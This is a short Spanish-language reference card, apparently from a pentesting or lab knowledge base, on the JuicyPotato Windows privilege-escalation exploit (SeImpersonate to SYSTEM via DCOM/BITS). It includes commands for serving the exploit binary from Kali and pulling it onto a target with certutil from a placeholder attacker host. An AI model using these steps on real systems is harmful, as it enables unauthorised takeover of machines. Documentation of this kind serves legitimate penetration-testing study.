JuicyPotato
SeImpersonate → SYSTEM vía DCOM/BITS (Windows antiguos).
Exploit de escalada que convierte el privilegio SeImpersonate en SYSTEM abusando de DCOM/BITS. Funciona en versiones antiguas de Windows (hasta Server 2016 / Windows 10 1809); en las modernas se usa GodPotato o PrintSpoofer.
Familia Escalada de privilegios
Flags -l -p -t -c {CLSID}
Conceptos SeImpersonate and Potato attacks
Cheatsheet Privilegios de token → SYSTEM
Instalación
# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80 # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/JuicyPotato.exe JuicyPotato.exe # en el objetivo (o SMB / 'upload' de evil-winrm)
# necesita un CLSID valido para el SO (lista de CLSID por version en el repo)Comandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.